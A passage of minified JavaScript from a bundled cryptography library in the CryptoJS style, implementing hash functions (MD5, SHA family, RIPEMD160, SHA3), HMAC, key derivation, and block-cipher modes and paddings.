^ i) + n + s; return (c << o | c >>> 32 - o) + e } function D(t, e, r, i, n, o, s) { var c = t + (r ^ (e | ~i)) + n + s; return (c << o | c >>> 32 - o) + e } t.MD5 = i._createHelper(o), t.HmacMD5 = i._createHmacHelper(o) }(Math), e = (t = bt).lib, r = e.WordArray, i = e.Hasher, n = t.algo, f = [], o = n.SHA1 = i.extend({ _doReset: function () { this._hash = new r.init([1732584193, 4023233417, 2562383102, 271733878, 3285377520]) }, _doProcessBlock: function (t, e) { for (var r = this._hash.words, i = r[0], n = r[1], o = r[2], s = r[3], c = r[4], a = 0; a < 80; a++) { if (a < 16) f[a] = 0 | t[e + a]; else { var h = f[a - 3] ^ f[a - 8] ^ f[a - 14] ^ f[a - 16]; f[a] = h << 1 | h >>> 31 } var l = (i << 5 | i >>> 27) + c + f[a]; l += a < 20 ? 1518500249 + (n & o | ~n & s) : a < 40 ? 1859775393 + (n ^ o ^ s) : a < 60 ? (n & o | n & s | o & s) - 1894007588 : (n ^ o ^ s) - 899497514, c = s, s = o, o = n << 30 | n >>> 2, n = i, i = l } r[0] = r[0] + i | 0, r[1] = r[1] + n | 0, r[2] = r[2] + o | 0, r[3] = r[3] + s | 0, r[4] = r[4] + c | 0 }, _doFinalize: function () { var t = this._data, e = t.words, r = 8 * this._nDataBytes, i = 8 * t.sigBytes; return e[i >>> 5] |= 128 << 24 - i % 32, e[14 + (64 + i >>> 9 << 4)] = Math.floor(r / 4294967296), e[15 + (64 + i >>> 9 << 4)] = r, t.sigBytes = 4 * e.length, this._process(), this._hash }, clone: function () { var t = i.clone.call(this); return t._hash = this._hash.clone(), t } }), t.SHA1 = i._createHelper(o), t.HmacSHA1 = i._createHmacHelper(o), function (n) { var t = bt, e = t.lib, r = e.WordArray, i = e.Hasher, o = t.algo, s = [], B = []; !function () { function t(t) { for (var e = n.sqrt(t), r = 2; r <= e; r++)if (!(t % r)) return; return 1 } function e(t) { return 4294967296 * (t - (0 | t)) | 0 } for (var r = 2, i = 0; i < 64;)t(r) && (i < 8 && (s[i] = e(n.pow(r, .5))), B[i] = e(n.pow(r, 1 / 3)), i++), r++ }(); var w = [], c = o.SHA256 = i.extend({ _doReset: function () { this._hash = new r.init(s.slice(0)) }, _doProcessBlock: function (t, e) { for (var r = this._hash.words, i = r[0], n = r[1], o = r[2], s = r[3], c = r[4], a = r[5], h = r[6], l = r[7], f = 0; f < 64; f++) { if (f < 16) w[f] = 0 | t[e + f]; else { var d = w[f - 15], u = (d << 25 | d >>> 7) ^ (d << 14 | d >>> 18) ^ d >>> 3, p = w[f - 2], _ = (p << 15 | p >>> 17) ^ (p << 13 | p >>> 19) ^ p >>> 10; w[f] = u + w[f - 7] + _ + w[f - 16] } var v = i & n ^ i & o ^ n & o, y = (i << 30 | i >>> 2) ^ (i << 19 | i >>> 13) ^ (i << 10 | i >>> 22), g = l + ((c << 26 | c >>> 6) ^ (c << 21 | c >>> 11) ^ (c << 7 | c >>> 25)) + (c & a ^ ~c & h) + B[f] + w[f]; l = h, h = a, a = c, c = s + g | 0, s = o, o = n, n = i, i = g + (y + v) | 0 } r[0] = r[0] + i | 0, r[1] = r[1] + n | 0, r[2] = r[2] + o | 0, r[3] = r[3] + s | 0, r[4] = r[4] + c | 0, r[5] = r[5] + a | 0, r[6] = r[6] + h | 0, r[7] = r[7] + l | 0 }, _doFinalize: function () { var t = this._data, e = t.words, r = 8 * this._nDataBytes, i = 8 * t.sigBytes; return e[i >>> 5] |= 128 << 24 - i % 32, e[14 + (64 + i >>> 9 << 4)] = n.floor(r / 4294967296), e[15 + (64 + i >>> 9 << 4)] = r, t.sigBytes = 4 * e.length, this._process(), this._hash }, clone: function () { var t = i.clone.call(this); return t._hash = this._hash.clone(), t } }); t.SHA256 = i._createHelper(c), t.HmacSHA256 = i._createHmacHelper(c) }(Math), function () { var n = bt.lib.WordArray, t = bt.enc; t.Utf16 = t.Utf16BE = { stringify: function (t) { for (var e = t.words, r = t.sigBytes, i = [], n = 0; n < r; n += 2) { var o = e[n >>> 2] >>> 16 - n % 4 * 8 & 65535; i.push(String.fromCharCode(o)) } return i.join("") }, parse: function (t) { for (var e = t.length, r = [], i = 0; i < e; i++)r[i >>> 1] |= t.charCodeAt(i) << 16 - i % 2 * 16; return n.create(r, 2 * e) } }; function s(t) { return t << 8 & 4278255360 | t >>> 8 & 16711935 } t.Utf16LE = { stringify: function (t) { for (var e = t.words, r = t.sigBytes, i = [], n = 0; n < r; n += 2) { var o = s(e[n >>> 2] >>> 16 - n % 4 * 8 & 65535); i.push(String.fromCharCode(o)) } return i.join("") }, parse: function (t) { for (var e = t.length, r = [], i = 0; i < e; i++)r[i >>> 1] |= s(t.charCodeAt(i) << 16 - i % 2 * 16); return n.create(r, 2 * e) } } }(), function () { if ("function" == typeof ArrayBuffer) { var t = bt.lib.WordArray, n = t.init; (t.init = function (t) { if (t instanceof ArrayBuffer && (t = new Uint8Array(t)), (t instanceof Int8Array || "undefined" != typeof Uint8ClampedArray && t instanceof Uint8ClampedArray || t instanceof Int16Array || t instanceof Uint16Array || t instanceof Int32Array || t instanceof Uint32Array || t instanceof Float32Array || t instanceof Float64Array) && (t = new Uint8Array(t.buffer, t.byteOffset, t.byteLength)), t instanceof Uint8Array) { for (var e = t.byteLength, r = [], i = 0; i < e; i++)r[i >>> 2] |= t[i] << 24 - i % 4 * 8; n.call(this, r, e) } else n.apply(this, arguments) }).prototype = t } }(), Math, c = (s = bt).lib, a = c.WordArray, l = c.Hasher, d = s.algo, m = a.create([0, 1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14, 15, 7, 4, 13, 1, 10, 6, 15, 3, 12, 0, 9, 5, 2, 14, 11, 8, 3, 10, 14, 4, 9, 15, 8, 1, 2, 7, 0, 6, 13, 11, 5, 12, 1, 9, 11, 10, 0, 8, 12, 4, 13, 3, 7, 15, 14, 5, 6, 2, 4, 0, 5, 9, 7, 12, 2, 10, 14, 1, 3, 8, 11, 6, 15, 13]), x = a.create([5, 14, 7, 0, 9, 2, 11, 4, 13, 6, 15, 8, 1, 10, 3, 12, 6, 11, 3, 7, 0, 13, 5, 10, 14, 15, 8, 12, 4, 9, 1, 2, 15, 5, 1, 3, 7, 14, 6, 9, 11, 8, 12, 2, 10, 0, 4, 13, 8, 6, 4, 1, 3, 11, 15, 0, 5, 12, 2, 13, 9, 7, 10, 14, 12, 15, 10, 4, 1, 5, 8, 7, 6, 2, 13, 14, 0, 3, 9, 11]), b = a.create([11, 14, 15, 12, 5, 8, 7, 9, 11, 13, 14, 15, 6, 7, 9, 8, 7, 6, 8, 13, 11, 9, 7, 15, 7, 12, 15, 9, 11, 7, 13, 12, 11, 13, 6, 7, 14, 9, 13, 15, 14, 8, 13, 6, 5, 12, 7, 5, 11, 12, 14, 15, 14, 15, 9, 8, 9, 14, 5, 6, 8, 6, 5, 12, 9, 15, 5, 11, 6, 8, 13, 12, 5, 12, 13, 14, 11, 8, 5, 6]), H = a.create([8, 9, 9, 11, 13, 15, 15, 5, 7, 7, 8, 11, 14, 14, 12, 6, 9, 13, 15, 7, 12, 8, 9, 11, 7, 7, 12, 7, 6, 15, 13, 11, 9, 7, 15, 11, 8, 6, 6, 14, 12, 13, 5, 14, 13, 13, 7, 5, 15, 5, 8, 11, 14, 14, 6, 14, 6, 9, 12, 9, 12, 5, 15, 8, 8, 5, 12, 9, 12, 5, 14, 6, 8, 13, 6, 5, 15, 13, 11, 11]), z = a.create([0, 1518500249, 1859775393, 2400959708, 2840853838]), A = a.create([1352829926, 1548603684, 1836072691, 2053994217, 0]), u = d.RIPEMD160 = l.extend({ _doReset: function () { this._hash = a.create([1732584193, 4023233417, 2562383102, 271733878, 3285377520]) }, _doProcessBlock: function (t, e) { for (var r = 0; r < 16; r++) { var i = e + r, n = t[i]; t[i] = 16711935 & (n << 8 | n >>> 24) | 4278255360 & (n << 24 | n >>> 8) } var o, s, c, a, h, l, f, d, u, p, _, v = this._hash.words, y = z.words, g = A.words, B = m.words, w = x.words, k = b.words, S = H.words; l = o = v[0], f = s = v[1], d = c = v[2], u = a = v[3], p = h = v[4]; for (r = 0; r < 80; r += 1)_ = o + t[e + B[r]] | 0, _ += r < 16 ? mt(s, c, a) + y[0] : r < 32 ? xt(s, c, a) + y[1] : r < 48 ? Ht(s, c, a) + y[2] : r < 64 ? zt(s, c, a) + y[3] : At(s, c, a) + y[4], _ = (_ = Ct(_ |= 0, k[r])) + h | 0, o = h, h = a, a = Ct(c, 10), c = s, s = _, _ = l + t[e + w[r]] | 0, _ += r < 16 ? At(f, d, u) + g[0] : r < 32 ? zt(f, d, u) + g[1] : r < 48 ? Ht(f, d, u) + g[2] : r < 64 ? xt(f, d, u) + g[3] : mt(f, d, u) + g[4], _ = (_ = Ct(_ |= 0, S[r])) + p | 0, l = p, p = u, u = Ct(d, 10), d = f, f = _; _ = v[1] + c + u | 0, v[1] = v[2] + a + p | 0, v[2] = v[3] + h + l | 0, v[3] = v[4] + o + f | 0, v[4] = v[0] + s + d | 0, v[0] = _ }, _doFinalize: function () { var t = this._data, e = t.words, r = 8 * this._nDataBytes, i = 8 * t.sigBytes; e[i >>> 5] |= 128 << 24 - i % 32, e[14 + (64 + i >>> 9 << 4)] = 16711935 & (r << 8 | r >>> 24) | 4278255360 & (r << 24 | r >>> 8), t.sigBytes = 4 * (e.length + 1), this._process(); for (var n = this._hash, o = n.words, s = 0; s < 5; s++) { var c = o[s]; o[s] = 16711935 & (c << 8 | c >>> 24) | 4278255360 & (c << 24 | c >>> 8) } return n }, clone: function () { var t = l.clone.call(this); return t._hash = this._hash.clone(), t } }), s.RIPEMD160 = l._createHelper(u), s.HmacRIPEMD160 = l._createHmacHelper(u), p = bt.lib.Base, _ = bt.enc.Utf8, bt.algo.HMAC = p.extend({ init: function (t, e) { t = this._hasher = new t.init, "string" == typeof e && (e = _.parse(e)); var r = t.blockSize, i = 4 * r; e.sigBytes > i && (e = t.finalize(e)), e.clamp(); for (var n = this._oKey = e.clone(), o = this._iKey = e.clone(), s = n.words, c = o.words, a = 0; a < r; a++)s[a] ^= 1549556828, c[a] ^= 909522486; n.sigBytes = o.sigBytes = i, this.reset() }, reset: function () { var t = this._hasher; t.reset(), t.update(this._iKey) }, update: function (t) { return this._hasher.update(t), this }, finalize: function (t) { var e = this._hasher, r = e.finalize(t); return e.reset(), e.finalize(this._oKey.clone().concat(r)) } }), y = (v = bt).lib, g = y.Base, B = y.WordArray, w = v.algo, k = w.SHA1, S = w.HMAC, C = w.PBKDF2 = g.extend({ cfg: g.extend({ keySize: 4, hasher: k, iterations: 1 }), init: function (t) { this.cfg = this.cfg.extend(t) }, compute: function (t, e) { for (var r = this.cfg, i = S.create(r.hasher, t), n = B.create(), o = B.create([1]), s = n.words, c = o.words, a = r.keySize, h = r.iterations; s.length < a;) { var l = i.update(e).finalize(o); i.reset(); for (var f = l.words, d = f.length, u = l, p = 1; p < h; p++) { u = i.finalize(u), i.reset(); for (var _ = u.words, v = 0; v < d; v++)f[v] ^= _[v] } n.concat(l), c[0]++ } return n.sigBytes = 4 * a, n } }), v.PBKDF2 = function (t, e, r) { return C.create(r).compute(t, e) }, E = (D = bt).lib, R = E.Base, M = E.WordArray, F = D.algo, P = F.MD5, W = F.EvpKDF = R.extend({ cfg: R.extend({ keySize: 4, hasher: P, iterations: 1 }), init: function (t) { this.cfg = this.cfg.extend(t) }, compute: function (t, e) { for (var r, i = this.cfg, n = i.hasher.create(), o = M.create(), s = o.words, c = i.keySize, a = i.iterations; s.length < c;) { r && n.update(r), r = n.update(t).finalize(e), n.reset(); for (var h = 1; h < a; h++)r = n.finalize(r), n.reset(); o.concat(r) } return o.sigBytes = 4 * c, o } }), D.EvpKDF = function (t, e, r) { return W.create(r).compute(t, e) }, I = (O = bt).lib.WordArray, U = O.algo, K = U.SHA256, X = U.SHA224 = K.extend({ _doReset: function () { this._hash = new I.init([3238371032, 914150663, 812702999, 4144912697, 4290775857, 1750603025, 1694076839, 3204075428]) }, _doFinalize: function () { var t = K._doFinalize.call(this); return t.sigBytes -= 4, t } }), O.SHA224 = K._createHelper(X), O.HmacSHA224 = K._createHmacHelper(X), L = bt.lib, j = L.Base, N = L.WordArray, (T = bt.x64 = {}).Word = j.extend({ init: function (t, e) { this.high = t, this.low = e } }), T.WordArray = j.extend({ init: function (t, e) { t = this.words = t || [], this.sigBytes = null != e ? e : 8 * t.length }, toX32: function () { for (var t = this.words, e = t.length, r = [], i = 0; i < e; i++) { var n = t[i]; r.push(n.high), r.push(n.low) } return N.create(r, this.sigBytes) }, clone: function () { for (var t = j.clone.call(this), e = t.words = this.words.slice(0), r = e.length, i = 0; i < r; i++)e[i] = e[i].clone(); return t } }), function (d) { var t = bt, e = t.lib, u = e.WordArray, i = e.Hasher, l = t.x64.Word, r = t.algo, C = [], D = [], E = []; !function () { for (var t = 1, e = 0, r = 0; r < 24; r++) { C[t + 5 * e] = (r + 1) * (r + 2) / 2 % 64; var i = (2 * t + 3 * e) % 5; t = e % 5, e = i } for (t = 0; t < 5; t++)for (e = 0; e < 5; e++)D[t + 5 * e] = e + (2 * t + 3 * e) % 5 * 5; for (var n = 1, o = 0; o < 24; o++) { for (var s = 0, c = 0, a = 0; a < 7; a++) { if (1 & n) { var h = (1 << a) - 1; h < 32 ? c ^= 1 << h : s ^= 1 << h - 32 } 128 & n ? n = n << 1 ^ 113 : n <<= 1 } E[o] = l.create(s, c) } }(); var R = []; !function () { for (var t = 0; t < 25; t++)R[t] = l.create() }(); var n = r.SHA3 = i.extend({ cfg: i.cfg.extend({ outputLength: 512 }), _doReset: function () { for (var t = this._state = [], e = 0; e < 25; e++)t[e] = new l.init; this.blockSize = (1600 - 2 * this.cfg.outputLength) / 32 }, _doProcessBlock: function (t, e) { for (var r = this._state, i = this.blockSize / 2, n = 0; n < i; n++) { var o = t[e + 2 * n], s = t[e + 2 * n + 1]; o = 16711935 & (o << 8 | o >>> 24) | 4278255360 & (o << 24 | o >>> 8), s = 16711935 & (s << 8 | s >>> 24) | 4278255360 & (s << 24 | s >>> 8), (x = r[n]).high ^= s, x.low ^= o } for (var c = 0; c < 24; c++) { for (var a = 0; a < 5; a++) { for (var h = 0, l = 0, f = 0; f < 5; f++) { h ^= (x = r[a + 5 * f]).high, l ^= x.low } var d = R[a]; d.high = h, d.low = l } for (a = 0; a < 5; a++) { var u = R[(a + 4) % 5], p = R[(a + 1) % 5], _ = p.high, v = p.low; for (h = u.high ^ (_ << 1 | v >>> 31), l = u.low ^ (v << 1 | _ >>> 31), f = 0; f < 5; f++) { (x = r[a + 5 * f]).high ^= h, x.low ^= l } } for (var y = 1; y < 25; y++) { var g = (x = r[y]).high, B = x.low, w = C[y]; l = w < 32 ? (h = g << w | B >>> 32 - w, B << w | g >>> 32 - w) : (h = B << w - 32 | g >>> 64 - w, g << w - 32 | B >>> 64 - w); var k = R[D[y]]; k.high = h, k.low = l } var S = R[0], m = r[0]; S.high = m.high, S.low = m.low; for (a = 0; a < 5; a++)for (f = 0; f < 5; f++) { var x = r[y = a + 5 * f], b = R[y], H = R[(a + 1) % 5 + 5 * f], z = R[(a + 2) % 5 + 5 * f]; x.high = b.high ^ ~H.high & z.high, x.low = b.low ^ ~H.low & z.low } x = r[0]; var A = E[c]; x.high ^= A.high, x.low ^= A.low } }, _doFinalize: function () { var t = this._data, e = t.words, r = (this._nDataBytes, 8 * t.sigBytes), i = 32 * this.blockSize; e[r >>> 5] |= 1 << 24 - r % 32, e[(d.ceil((1 + r) / i) * i >>> 5) - 1] |= 128, t.sigBytes = 4 * e.length, this._process(); for (var n = this._state, o = this.cfg.outputLength / 8, s = o / 8, c = [], a = 0; a < s; a++) { var h = n[a], l = h.high, f = h.low; l = 16711935 & (l << 8 | l >>> 24) | 4278255360 & (l << 24 | l >>> 8), f = 16711935 & (f << 8 | f >>> 24) | 4278255360 & (f << 24 | f >>> 8), c.push(f), c.push(l) } return new u.init(c, o) }, clone: function () { for (var t = i.clone.call(this), e = t._state = this._state.slice(0), r = 0; r < 25; r++)e[r] = e[r].clone(); return t } }); t.SHA3 = i._createHelper(n), t.HmacSHA3 = i._createHmacHelper(n) }(Math), function () { var t = bt, e = t.lib.Hasher, r = t.x64, i = r.Word, n = r.WordArray, o = t.algo; function s() { return i.create.apply(i, arguments) } var mt = [s(1116352408, 3609767458), s(1899447441, 602891725), s(3049323471, 3964484399), s(3921009573, 2173295548), s(961987163, 4081628472), s(1508970993, 3053834265), s(2453635748, 2937671579), s(2870763221, 3664609560), s(3624381080, 2734883394), s(310598401, 1164996542), s(607225278, 1323610764), s(1426881987, 3590304994), s(1925078388, 4068182383), s(2162078206, 991336113), s(2614888103, 633803317), s(3248222580, 3479774868), s(3835390401, 2666613458), s(4022224774, 944711139), s(264347078, 2341262773), s(604807628, 2007800933), s(770255983, 1495990901), s(1249150122, 1856431235), s(1555081692, 3175218132), s(1996064986, 2198950837), s(2554220882, 3999719339), s(2821834349, 766784016), s(2952996808, 2566594879), s(3210313671, 3203337956), s(3336571891, 1034457026), s(3584528711, 2466948901), s(113926993, 3758326383), s(338241895, 168717936), s(666307205, 1188179964), s(773529912, 1546045734), s(1294757372, 1522805485), s(1396182291, 2643833823), s(1695183700, 2343527390), s(1986661051, 1014477480), s(2177026350, 1206759142), s(2456956037, 344077627), s(2730485921, 1290863460), s(2820302411, 3158454273), s(3259730800, 3505952657), s(3345764771, 106217008), s(3516065817, 3606008344), s(3600352804, 1432725776), s(4094571909, 1467031594), s(275423344, 851169720), s(430227734, 3100823752), s(506948616, 1363258195), s(659060556, 3750685593), s(883997877, 3785050280), s(958139571, 3318307427), s(1322822218, 3812723403), s(1537002063, 2003034995), s(1747873779, 3602036899), s(1955562222, 1575990012), s(2024104815, 1125592928), s(2227730452, 2716904306), s(2361852424, 442776044), s(2428436474, 593698344), s(2756734187, 3733110249), s(3204031479, 2999351573), s(3329325298, 3815920427), s(3391569614, 3928383900), s(3515267271, 566280711), s(3940187606, 3454069534), s(4118630271, 4000239992), s(116418474, 1914138554), s(174292421, 2731055270), s(289380356, 3203993006), s(460393269, 320620315), s(685471733, 587496836), s(852142971, 1086792851), s(1017036298, 365543100), s(1126000580, 2618297676), s(1288033470, 3409855158), s(1501505948, 4234509866), s(1607167915, 987167468), s(1816402316, 1246189591)], xt = []; !function () { for (var t = 0; t < 80; t++)xt[t] = s() }(); var c = o.SHA512 = e.extend({ _doReset: function () { this._hash = new n.init([new i.init(1779033703, 4089235720), new i.init(3144134277, 2227873595), new i.init(1013904242, 4271175723), new i.init(2773480762, 1595750129), new i.init(1359893119, 2917565137), new i.init(2600822924, 725511199), new i.init(528734635, 4215389547), new i.init(1541459225, 327033209)]) }, _doProcessBlock: function (t, e) { for (var r = this._hash.words, i = r[0], n = r[1], o = r[2], s = r[3], c = r[4], a = r[5], h = r[6], l = r[7], f = i.high, d = i.low, u = n.high, p = n.low, _ = o.high, v = o.low, y = s.high, g = s.low, B = c.high, w = c.low, k = a.high, S = a.low, m = h.high, x = h.low, b = l.high, H = l.low, z = f, A = d, C = u, D = p, E = _, R = v, M = y, F = g, P = B, W = w, O = k, I = S, U = m, K = x, X = b, L = H, j = 0; j < 80; j++) { var N, T, q = xt[j]; if (j < 16) T = q.high = 0 | t[e + 2 * j], N = q.low = 0 | t[e + 2 * j + 1]; else { var Z = xt[j - 15], V = Z.high, G = Z.low, J = (V >>> 1 | G << 31) ^ (V >>> 8 | G << 24) ^ V >>> 7, $ = (G >>> 1 | V << 31) ^ (G >>> 8 | V << 24) ^ (G >>> 7 | V << 25), Q = xt[j - 2], Y = Q.high, tt = Q.low, et = (Y >>> 19 | tt << 13) ^ (Y << 3 | tt >>> 29) ^ Y >>> 6, rt = (tt >>> 19 | Y << 13) ^ (tt << 3 | Y >>> 29) ^ (tt >>> 6 | Y << 26), it = xt[j - 7], nt = it.high, ot = it.low, st = xt[j - 16], ct = st.high, at = st.low; T = (T = (T = J + nt + ((N = $ + ot) >>> 0 < $ >>> 0 ? 1 : 0)) + et + ((N += rt) >>> 0 < rt >>> 0 ? 1 : 0)) + ct + ((N += at) >>> 0 < at >>> 0 ? 1 : 0), q.high = T, q.low = N } var ht, lt = P & O ^ ~P & U, ft = W & I ^ ~W & K, dt = z & C ^ z & E ^ C & E, ut = A & D ^ A & R ^ D & R, pt = (z >>> 28 | A << 4) ^ (z << 30 | A >>> 2) ^ (z << 25 | A >>> 7), _t = (A >>> 28 | z << 4) ^ (A << 30 | z >>> 2) ^ (A << 25 | z >>> 7), vt = (P >>> 14 | W << 18) ^ (P >>> 18 | W << 14) ^ (P << 23 | W >>> 9), yt = (W >>> 14 | P << 18) ^ (W >>> 18 | P << 14) ^ (W << 23 | P >>> 9), gt = mt[j], Bt = gt.high, wt = gt.low, kt = X + vt + ((ht = L + yt) >>> 0 < L >>> 0 ? 1 : 0), St = _t + ut; X = U, L = K, U = O, K = I, O = P, I = W, P = M + (kt = (kt = (kt = kt + lt + ((ht = ht + ft) >>> 0 < ft >>> 0 ? 1 : 0)) + Bt + ((ht = ht + wt) >>> 0 < wt >>> 0 ? 1 : 0)) + T + ((ht = ht + N) >>> 0 < N >>> 0 ? 1 : 0)) + ((W = F + ht | 0) >>> 0 < F >>> 0 ? 1 : 0) | 0, M = E, F = R, E = C, R = D, C = z, D = A, z = kt + (pt + dt + (St >>> 0 < _t >>> 0 ? 1 : 0)) + ((A = ht + St | 0) >>> 0 < ht >>> 0 ? 1 : 0) | 0 } d = i.low = d + A, i.high = f + z + (d >>> 0 < A >>> 0 ? 1 : 0), p = n.low = p + D, n.high = u + C + (p >>> 0 < D >>> 0 ? 1 : 0), v = o.low = v + R, o.high = _ + E + (v >>> 0 < R >>> 0 ? 1 : 0), g = s.low = g + F, s.high = y + M + (g >>> 0 < F >>> 0 ? 1 : 0), w = c.low = w + W, c.high = B + P + (w >>> 0 < W >>> 0 ? 1 : 0), S = a.low = S + I, a.high = k + O + (S >>> 0 < I >>> 0 ? 1 : 0), x = h.low = x + K, h.high = m + U + (x >>> 0 < K >>> 0 ? 1 : 0), H = l.low = H + L, l.high = b + X + (H >>> 0 < L >>> 0 ? 1 : 0) }, _doFinalize: function () { var t = this._data, e = t.words, r = 8 * this._nDataBytes, i = 8 * t.sigBytes; return e[i >>> 5] |= 128 << 24 - i % 32, e[30 + (128 + i >>> 10 << 5)] = Math.floor(r / 4294967296), e[31 + (128 + i >>> 10 << 5)] = r, t.sigBytes = 4 * e.length, this._process(), this._hash.toX32() }, clone: function () { var t = e.clone.call(this); return t._hash = this._hash.clone(), t }, blockSize: 32 }); t.SHA512 = e._createHelper(c), t.HmacSHA512 = e._createHmacHelper(c) }(), Z = (q = bt).x64, V = Z.Word, G = Z.WordArray, J = q.algo, $ = J.SHA512, Q = J.SHA384 = $.extend({ _doReset: function () { this._hash = new G.init([new V.init(3418070365, 3238371032), new V.init(1654270250, 914150663), new V.init(2438529370, 812702999), new V.init(355462360, 4144912697), new V.init(1731405415, 4290775857), new V.init(2394180231, 1750603025), new V.init(3675008525, 1694076839), new V.init(1203062813, 3204075428)]) }, _doFinalize: function () { var t = $._doFinalize.call(this); return t.sigBytes -= 16, t } }), q.SHA384 = $._createHelper(Q), q.HmacSHA384 = $._createHmacHelper(Q), bt.lib.Cipher || function () { var t = bt, e = t.lib, r = e.Base, a = e.WordArray, i = e.BufferedBlockAlgorithm, n = t.enc, o = (n.Utf8, n.Base64), s = t.algo.EvpKDF, c = e.Cipher = i.extend({ cfg: r.extend(), createEncryptor: function (t, e) { return this.create(this._ENC_XFORM_MODE, t, e) }, createDecryptor: function (t, e) { return this.create(this._DEC_XFORM_MODE, t, e) }, init: function (t, e, r) { this.cfg = this.cfg.extend(r), this._xformMode = t, this._key = e, this.reset() }, reset: function () { i.reset.call(this), this._doReset() }, process: function (t) { return this._append(t), this._process() }, finalize: function (t) { return t && this._append(t), this._doFinalize() }, keySize: 4, ivSize: 4, _ENC_XFORM_MODE: 1, _DEC_XFORM_MODE: 2, _createHelper: function (i) { return { encrypt: function (t, e, r) { return h(e).encrypt(i, t, e, r) }, decrypt: function (t, e, r) { return h(e).decrypt(i, t, e, r) } } } }); function h(t) { return "string" == typeof t ? w : g } e.StreamCipher = c.extend({ _doFinalize: function () { return this._process(!0) }, blockSize: 1 }); var l, f = t.mode = {}, d = e.BlockCipherMode = r.extend({ createEncryptor: function (t, e) { return this.Encryptor.create(t, e) }, createDecryptor: function (t, e) { return this.Decryptor.create(t, e) }, init: function (t, e) { this._cipher = t, this._iv = e } }), u = f.CBC = ((l = d.extend()).Encryptor = l.extend({ processBlock: function (t, e) { var r = this._cipher, i = r.blockSize; p.call(this, t, e, i), r.encryptBlock(t, e), this._prevBlock = t.slice(e, e + i) } }), l.Decryptor = l.extend({ processBlock: function (t, e) { var r = this._cipher, i = r.blockSize, n = t.slice(e, e + i); r.decryptBlock(t, e), p.call(this, t, e, i), this._prevBlock = n } }), l); function p(t, e, r) { var i, n = this._iv; n ? (i = n, this._iv = void 0) : i = this._prevBlock; for (var o = 0; o < r; o++)t[e + o] ^= i[o] } var _ = (t.pad = {}).Pkcs7 = { pad: function (t, e) { for (var r = 4 * e, i = r - t.sigBytes % r, n = i << 24 | i << 16 | i << 8 | i, o = [], s = 0; s < i; s += 4)o.push(n); var c = a.create(o, i); t.concat(c) }, unpad: function (t) { var e = 255 & t.words[t.sigBytes - 1 >>> 2]; t.sigBytes -= e } }, v = (e.BlockCipher = c.extend({ cfg: c.cfg.extend({ mode: u, padding: _ }), reset: function () { var t; c.reset.call(this); var e = this.cfg, r = e.iv, i = e.mode; this._xformMode == this._ENC_XFORM_MODE ? t = i.createEncryptor : (t = i.createDecryptor, this._minBufferSize = 1), this._mode && this._mode.__creator == t ? this._mode.init(this, r && r.words) : (this._mode = t.call(i, this, r && r.words), this._mode.__creator = t) }, _doProcessBlock: function (t, e) { this._mode.processBlock(t, e) }, _doFinalize: function () { var t, e = this.cfg.padding; return this._xformMode == this._ENC_XFORM_MODE ? (e.pad(this._data, this.blockSize), t = this._process(!0)) : (t = this._process(!0), e.unpad(t)), t }, blockSize: 4 }), e.CipherParams = r.extend({ init: function (t) { this.mixIn(t) }, toString: function (t) { return (t || this.formatter).stringify(this) } })), y = (t.format = {}).OpenSSL = { stringify: function (t) { var e = t.ciphertext, r = t.salt; return (r ? a.create([1398893684, 1701076831]).concat(r).concat(e) : e).toString(o) }, parse: function (t) { var e, r = o.parse(t), i = r.words; return 1398893684 == i[0] && 1701076831 == i[1] && (e = a.create(i.slice(2, 4)), i.splice(0, 4), r.sigBytes -= 16), v.create({ ciphertext: r, salt: e }) } }, g = e.SerializableCipher = r.extend({ cfg: r.extend({ format: y }), encrypt: function (t, e, r, i) { i = this.cfg.extend(i); var n = t.createEncryptor(r, i), o = n.finalize(e), s = n.cfg; return v.create({ ciphertext: o, key: r, iv: s.iv, algorithm: t, mode: s.mode, padding: s.padding, blockSize: t.blockSize, formatter: i.format }) }, decrypt: function (t, e, r, i) { return i = this.cfg.extend(i), e = this._parse(e, i.format), t.createDecryptor(r, i).finalize(e.ciphertext) }, _parse: function (t, e) { return "string" == typeof t ? e.parse(t, this) : t } }), B = (t.kdf = {}).OpenSSL = { execute: function (t, e, r, i) { i = i || a.random(8); var n = s.create({ keySize: e + r }).compute(t, i), o = a.create(n.words.slice(e), 4 * r); return n.sigBytes = 4 * e, v.create({ key: n, iv: o, salt: i }) } }, w = e.PasswordBasedCipher = g.extend({ cfg: g.cfg.extend({ kdf: B }), encrypt: function (t, e, r, i) { var n = (i = this.cfg.extend(i)).kdf.execute(r, t.keySize, t.ivSize); i.iv = n.iv; var o = g.encrypt.call(this, t, e, n.key, i); return o.mixIn(n), o }, decrypt: function (t, e, r, i) { i = this.cfg.extend(i), e = this._parse(e, i.format); var n = i.kdf.execute(r, t.keySize, t.ivSize, e.salt); return i.iv = n.iv, g.decrypt.call(this, t, e, n.key, i) } }) }(), bt.mode.CFB = ((Y = bt.lib.BlockCipherMode.extend()).Encryptor = Y.extend({ processBlock: function (t, e) { var r = this._cipher, i = r.blockSize; Dt.call(this, t, e, i, r), this._prevBlock = t.slice(e, e + i) } }), Y.Decryptor = Y.extend({ processBlock: function (t, e) { var r = this._cipher, i = r.blockSize, n = t.slice(e, e + i); Dt.call(this, t, e, i, r), this._prevBlock = n } }), Y), bt.mode.ECB = ((tt = bt.lib.BlockCipherMode.extend()).Encryptor = tt.extend({ processBlock: function (t, e) { this._cipher.encryptBlock(t, e) } }), tt.Decryptor = tt.extend({ processBlock: function (t, e) { this._cipher.decryptBlock(t, e) } }), tt), bt.pad.AnsiX923 = { pad: function (t, e) { var r = t.sigBytes, i = 4 * e, n = i - r % i, o = r + n - 1; t.clamp(), t.words[o >>> 2] |= n << 24 - o % 4 * 8, t.sigBytes += n }, unpad: function (t) { var e = 255 & t.words[t.sigBytes - 1 >>> 2]; t.sigBytes -= e } }, bt.pad.Iso10126 = { pad: function (t, e) { var r = 4 * e, i = r - t.sigBytes % r; t.concat(bt.lib.WordArray.random(i - 1)).concat(bt.lib.WordArray.create([i << 24], 1)) }, unpad: function (t) { var e = 255 & t.words[t.sigBytes - 1 >>> 2]; t.sigBytes -= e } }, bt.pad.Iso97971 = { pad: function (t, e) { t.concat(bt.lib.WordArray.create([2147483648], 1)), bt.pad.ZeroPadding.pad(t, e) }, unpad: function (t) { bt.pad.ZeroPadding.unpad(t), t.sigBytes-- } }, bt.mode.OFB = (et = bt.lib.BlockCipherMode.extend(), rt = et.Encryptor = et.extend({ processBlock: function (t, e) { var r = this._cipher, i = r.blockSize, n = this._iv, o = this._keystream; n && (o = this._keystream = n.slice(0), this._iv = void 0), 